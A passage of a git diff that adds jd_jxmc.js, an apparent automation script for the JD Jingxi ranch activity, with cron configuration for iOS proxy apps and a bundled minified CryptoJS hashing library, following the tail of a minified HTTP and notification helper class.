if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_jxmc.js b/jd_jxmc.js new file mode 100644 index 0000000..e0daaa4 --- /dev/null +++ b/jd_jxmc.js @@ -0,0 +1,590 @@ +/* +惊喜牧场 +更新时间:2021-6-8 +活动入口:京喜APP-我的-京喜牧场 +温馨提示:请先手动完成【新手指导任务】再运行脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#惊喜牧场 +20 0-23/3 * * * jd_jxmc.js, tag=惊喜牧场, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "20 0-23/3 * * *" script-path=jd_jxmc.js,tag=惊喜牧场 + +===============Surge================= +惊喜牧场 = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_jxmc.js + +============小火箭========= +惊喜牧场 = type=cron,script-path=jd_jxmc.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true + */ +// prettier-ignore +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = 